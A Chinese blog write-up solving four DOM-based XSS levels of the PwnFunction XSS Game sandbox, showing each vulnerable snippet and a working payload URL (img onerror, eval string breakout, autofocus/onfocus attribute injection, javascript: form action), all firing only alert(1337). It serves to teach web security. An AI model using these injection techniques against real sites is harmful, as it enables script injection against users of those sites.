复现dom破坏案例和靶场

目录

1.dom型xss平台

第一关 Ma Spaghet !:

(1):当get参数中存在somebody时,h2回显

(2):当get参数中不存在somebody时,h2回显

第二关Jefff:

第三关:Ugandan Knuckles

​编辑第四关:Ricardo Milos


1.dom型xss平台

XSS Game - Learning XSS Made Simple! | Created by PwnFunctionXSS Game: Learn Cross Site Scripting (XSS) by completing challenges!icon-default.png?t=N7T8https://xss.pwnfunction.com/

第一关 Ma Spaghet !:

<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"

</script>

new URL(location) 创建了一个表示当前页面 URL 的 URL 对象。 .searchParams 是这个 URL 对象的一个属性,它返回一个 URLSearchParams 对象,这个对象包含了 URL 中的查询参数(例如 ?somebody=John 中的 somebody 及其对应的值)。 .get('somebody') 方法用于从查询参数中获取名为 "somebody" 的参数值。如果该参数存在,则返回其值;如果不存在,则返回 null。 || "Somebody" 是一个逻辑或操作符的运用。如果前面 get('somebody') 返回了一个真值(非空字符串),那么就使用这个值;如果返回 null 或者空字符串等假值,就使用 "Somebody" 这个默认值。

(1):当get参数中存在somebody时,h2回显

Somebody Toucha Ma Spaghet! | XSS Warmups

(2):当get参数中不存在somebody时,h2回显

当?somebody=<script>alert(1)</script>时,并没有弹窗,正常在h2标签中会执行,但是这里不能执行的原因为:

spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
h2的id为spaghet,我们使用innerHTML将我们get参数传递到h2标签中。

在html 5中指定不执行由 innerHTML 插入的 <script></script>标签

标签代码:name = "<script>alert('I am John in an annoying alert!')</script>";

innerHTML 只过滤了<script>,我们可以写其他的来触发:当传递其他的可以触发js的时就不能过滤

实现网页:https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=<img%20src=1%20οnerrοr="alert(1337)">

第二关Jefff:

<!-- Challenge -->

<h2 id="maname"></h2>

<script>

        let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")

        // 这行代码首先通过 `new URL(location)` 获取当前页面的 URL 对象,然后使用 `searchParams.get('jeff')` 尝试获取 URL 中名为 `jeff` 的查询参数的值。

        // 如果没有获取到该参数或者获取到的值为 `null` 或 `undefined`,则将 `jeff` 的值设置为 `"JEFFF"` 。

        let ma = ""

        eval(`ma = "Ma name ${jeff}"`)

        // 这里使用了 `eval` 函数,这是一种不安全且不推荐的做法。`eval` 函数会将传入的字符串作为 JavaScript 代码来执行。

        // 在这个例子中,它将字符串 `"Ma name ${jeff}"` 进行求值,并将结果赋给变量 `ma`              setTimeout(_ => { maname.innerText = ma }, 1000)   

        // `setTimeout` 函数用于在指定的毫秒数(这里是 1000 毫秒,即 1 秒)后执行一个回调函数。 // 回调函数中,将变量 `ma` 的值设置为具有 `id` 为 `maname` 的 `h2` 元素的文本内容。 </script>

分析:我们可以看到给h2传参使用的是innerText,所以我们想在maname.innerText = ma上面做基本不可能了。
我们只能考虑在eval中做。

https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=aaa";alert(1337);"

尝试闭合双引号,之后在其中闭合单引号。所以我们需要在传递的变量jeff上做

第三关:Ugandan Knuckles

闭合双引号

https://sandbox.pwnfunction.com/warmups/da-wey.html?wey=aaaaaa "onfocus = alert(1337)     autofocus="

第四关:Ricardo Milos

这段代码的意思为在2秒后对from表单进行提交,提交的位置就是ricardo.action 接收到的路径,路径由get参数中的ricardo提供。

在action中可以识别js伪协议,那么就好办了。

https://sandbox.pwnfunction.com/warmups/ricardo.html?ricardo=javascript:alert(1337)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值